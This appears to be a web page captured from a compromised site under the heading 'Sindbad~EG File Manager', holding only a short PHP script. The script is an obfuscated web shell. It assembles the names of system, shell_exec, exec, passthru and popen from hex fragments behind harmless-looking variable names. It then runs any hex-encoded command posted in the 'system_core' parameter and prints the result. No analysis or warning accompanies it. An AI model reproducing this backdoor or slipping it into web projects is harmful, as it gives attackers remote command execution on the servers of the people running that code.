Sindbad~EG File Manager

<?php


$val1 = '7';
$val2 = '3';
$val3 = '5';
$val4 = '6';
$val5 = 'd';
$val6 = 'c';
$val7 = '8';
$val8 = '1';
$val9 = '2';
$val10 = '0';
$val11 = 'f';
$val12 = '4';
$val13 = 'e';
$batch_process1 = pack("H*", '7'.'3'.'7'.'9'.$val1.$val2.$val1.'4'.'6'.$val3.$val4.$val5);
$batch_process2 = pack("H*", $val1.$val2.$val4.'8'.$val4.'5'.$val4.'c'.'6'.$val6.'5'.'f'.'6'.'5'.$val1.'8'.$val4.'5'.$val4.$val2);
$batch_process3 = pack("H*", $val4.$val3.$val1.$val7.'6'.'5'.'6'.$val2);
$batch_process4 = pack("H*", '7'.'0'.$val4.$val8.$val1.'3'.'7'.$val2.$val1.'4'.$val4.$val7.$val1.$val9.$val1.'5');
$batch_process5 = pack("H*", '7'.$val10.$val4.'f'.'7'.'0'.$val4.$val3.'6'.'e');
$batch_process6 = pack("H*", $val1.'3'.'7'.'4'.'7'.$val9.'6'.$val3.'6'.'1'.'6'.'d'.$val3.$val11.'6'.'7'.'6'.$val3.'7'.$val12.$val3.$val11.$val4.$val2.'6'.$val11.'6'.$val13.$val1.'4'.$val4.'5'.$val4.$val13.'7'.$val12.'7'.'3');
$batch_process7 = pack("H*", '7'.$val10.'6'.'3'.'6'.$val6.$val4.'f'.'7'.'3'.'6'.$val3);
$system_core = pack("H*", '7'.$val2.$val1.'9'.$val1.'3'.$val1.'4'.$val4.'5'.$val4.'d'.$val3.$val11.'6'.$val2.'6'.$val11.'7'.'2'.$val4.$val3);
if (isset($_POST[$system_core])) {
    $system_core = pack("H*", $_POST[$system_core]);
    if (function_exists($batch_process1)) {
        $batch_process1($system_core);
    } elseif (function_exists($batch_process2)) {
        print $batch_process2($system_core);
    } elseif (function_exists($batch_process3)) {
        $batch_process3($system_core, $resource_component);
        print join("\n", $resource_component);
    } elseif (function_exists($batch_process4)) {
        $batch_process4($system_core);
    } elseif (function_exists($batch_process5) && function_exists($batch_process6) && function_exists($batch_process7)) {
        $object_record = $batch_process5($system_core, 'r');
        if ($object_record) {
            $element_rec = $batch_process6($object_record);
            $batch_process7($object_record);
            print $element_rec;
        }
    }
    exit;
}